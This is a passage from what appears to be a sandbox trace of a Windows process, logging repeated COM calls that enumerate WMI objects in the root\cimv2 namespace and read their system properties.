(This=0x60fe7d0) returned 0x3 [0067.159] IUnknown:Release (This=0x60fe7d0) returned 0x2 [0067.159] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.159] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.159] IUnknown:AddRef (This=0x60fe7d0) returned 0x3 [0067.159] IUnknown:QueryInterface (in: This=0x60fe7d0, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x60fe7d0) returned 0x0 [0067.159] IUnknown:Release (This=0x60fe7d0) returned 0x3 [0067.159] IUnknown:Release (This=0x60fe7d0) returned 0x2 [0067.159] IUnknown:Release (This=0x60fe7d0) returned 0x1 [0067.159] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.159] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.159] IUnknown:AddRef (This=0x60fe7d0) returned 0x2 [0067.159] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.160] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.160] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.160] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.160] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.160] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.160] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.160] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.160] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x60fe9e8, puReturned=0x2e27944*=0x1) returned 0x0 [0067.161] IUnknown:QueryInterface (in: This=0x60fe9e8, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x60fe9e8) returned 0x0 [0067.161] IUnknown:QueryInterface (in: This=0x60fe9e8, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.161] IUnknown:QueryInterface (in: This=0x60fe9e8, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.162] IUnknown:AddRef (This=0x60fe9e8) returned 0x3 [0067.162] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.162] IUnknown:QueryInterface (in: This=0x60fe9e8, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x60fe9ec) returned 0x0 [0067.162] IMarshal:GetUnmarshalClass (in: This=0x60fe9ec, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.162] IUnknown:Release (This=0x60fe9ec) returned 0x3 [0067.162] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.162] IUnknown:AddRef (This=0x60fe9e8) returned 0x4 [0067.162] IUnknown:QueryInterface (in: This=0x60fe9e8, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.162] IUnknown:Release (This=0x60fe9e8) returned 0x3 [0067.162] IUnknown:Release (This=0x60fe9e8) returned 0x2 [0067.162] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.162] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.162] IUnknown:AddRef (This=0x60fe9e8) returned 0x3 [0067.163] IUnknown:QueryInterface (in: This=0x60fe9e8, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x60fe9e8) returned 0x0 [0067.163] IUnknown:Release (This=0x60fe9e8) returned 0x3 [0067.163] IUnknown:Release (This=0x60fe9e8) returned 0x2 [0067.163] IUnknown:Release (This=0x60fe9e8) returned 0x1 [0067.163] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.163] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.163] IUnknown:AddRef (This=0x60fe9e8) returned 0x2 [0067.163] IWbemClassObject:Get (in: This=0x60fe9e8, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.163] IWbemClassObject:Get (in: This=0x60fe9e8, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.164] IWbemClassObject:Get (in: This=0x60fe9e8, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.164] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.164] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.164] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.164] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.164] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.164] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x60fec18, puReturned=0x2e27944*=0x1) returned 0x0 [0067.165] IUnknown:QueryInterface (in: This=0x60fec18, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x60fec18) returned 0x0 [0067.165] IUnknown:QueryInterface (in: This=0x60fec18, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.165] IUnknown:QueryInterface (in: This=0x60fec18, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.165] IUnknown:AddRef (This=0x60fec18) returned 0x3 [0067.166] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.166] IUnknown:QueryInterface (in: This=0x60fec18, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x60fec1c) returned 0x0 [0067.166] IMarshal:GetUnmarshalClass (in: This=0x60fec1c, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.166] IUnknown:Release (This=0x60fec1c) returned 0x3 [0067.166] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.166] IUnknown:AddRef (This=0x60fec18) returned 0x4 [0067.166] IUnknown:QueryInterface (in: This=0x60fec18, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.166] IUnknown:Release (This=0x60fec18) returned 0x3 [0067.166] IUnknown:Release (This=0x60fec18) returned 0x2 [0067.166] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.166] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.167] IUnknown:AddRef (This=0x60fec18) returned 0x3 [0067.167] IUnknown:QueryInterface (in: This=0x60fec18, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x60fec18) returned 0x0 [0067.167] IUnknown:Release (This=0x60fec18) returned 0x3 [0067.167] IUnknown:Release (This=0x60fec18) returned 0x2 [0067.167] IUnknown:Release (This=0x60fec18) returned 0x1 [0067.167] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.167] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.167] IUnknown:AddRef (This=0x60fec18) returned 0x2 [0067.167] IWbemClassObject:Get (in: This=0x60fec18, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.167] IWbemClassObject:Get (in: This=0x60fec18, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.168] IWbemClassObject:Get (in: This=0x60fec18, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.168] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.168] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.168] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.168] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.168] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.168] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x60fee28, puReturned=0x2e27944*=0x1) returned 0x0 [0067.169] IUnknown:QueryInterface (in: This=0x60fee28, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x60fee28) returned 0x0 [0067.169] IUnknown:QueryInterface (in: This=0x60fee28, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.169] IUnknown:QueryInterface (in: This=0x60fee28, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.169] IUnknown:AddRef (This=0x60fee28) returned 0x3 [0067.169] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.170] IUnknown:QueryInterface (in: This=0x60fee28, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x60fee2c) returned 0x0 [0067.170] IMarshal:GetUnmarshalClass (in: This=0x60fee2c, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.170] IUnknown:Release (This=0x60fee2c) returned 0x3 [0067.170] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.170] IUnknown:AddRef (This=0x60fee28) returned 0x4 [0067.170] IUnknown:QueryInterface (in: This=0x60fee28, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.170] IUnknown:Release (This=0x60fee28) returned 0x3 [0067.170] IUnknown:Release (This=0x60fee28) returned 0x2 [0067.170] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.170] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.170] IUnknown:AddRef (This=0x60fee28) returned 0x3 [0067.170] IUnknown:QueryInterface (in: This=0x60fee28, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x60fee28) returned 0x0 [0067.170] IUnknown:Release (This=0x60fee28) returned 0x3 [0067.170] IUnknown:Release (This=0x60fee28) returned 0x2 [0067.170] IUnknown:Release (This=0x60fee28) returned 0x1 [0067.170] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.171] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.171] IUnknown:AddRef (This=0x60fee28) returned 0x2 [0067.171] IWbemClassObject:Get (in: This=0x60fee28, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.171] IWbemClassObject:Get (in: This=0x60fee28, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.171] IWbemClassObject:Get (in: This=0x60fee28, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.171] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.171] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.172] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.172] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.172] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.172] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6100850, puReturned=0x2e27944*=0x1) returned 0x0 [0067.173] IUnknown:QueryInterface (in: This=0x6100850, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x6100850) returned 0x0 [0067.173] IUnknown:QueryInterface (in: This=0x6100850, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.173] IUnknown:QueryInterface (in: This=0x6100850, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.173] IUnknown:AddRef (This=0x6100850) returned 0x3 [0067.173] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.173] IUnknown:QueryInterface (in: This=0x6100850, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x6100854) returned 0x0 [0067.173] IMarshal:GetUnmarshalClass (in: This=0x6100854, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.173] IUnknown:Release (This=0x6100854) returned 0x3 [0067.173] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.173] IUnknown:AddRef (This=0x6100850) returned 0x4 [0067.173] IUnknown:QueryInterface (in: This=0x6100850, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.173] IUnknown:Release (This=0x6100850) returned 0x3 [0067.173] IUnknown:Release (This=0x6100850) returned 0x2 [0067.174] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.174] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.174] IUnknown:AddRef (This=0x6100850) returned 0x3 [0067.174] IUnknown:QueryInterface (in: This=0x6100850, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x6100850) returned 0x0 [0067.174] IUnknown:Release (This=0x6100850) returned 0x3 [0067.174] IUnknown:Release (This=0x6100850) returned 0x2 [0067.174] IUnknown:Release (This=0x6100850) returned 0x1 [0067.174] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.174] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.174] IUnknown:AddRef (This=0x6100850) returned 0x2 [0067.174] IWbemClassObject:Get (in: This=0x6100850, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.174] IWbemClassObject:Get (in: This=0x6100850, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.175] IWbemClassObject:Get (in: This=0x6100850, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.175] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | 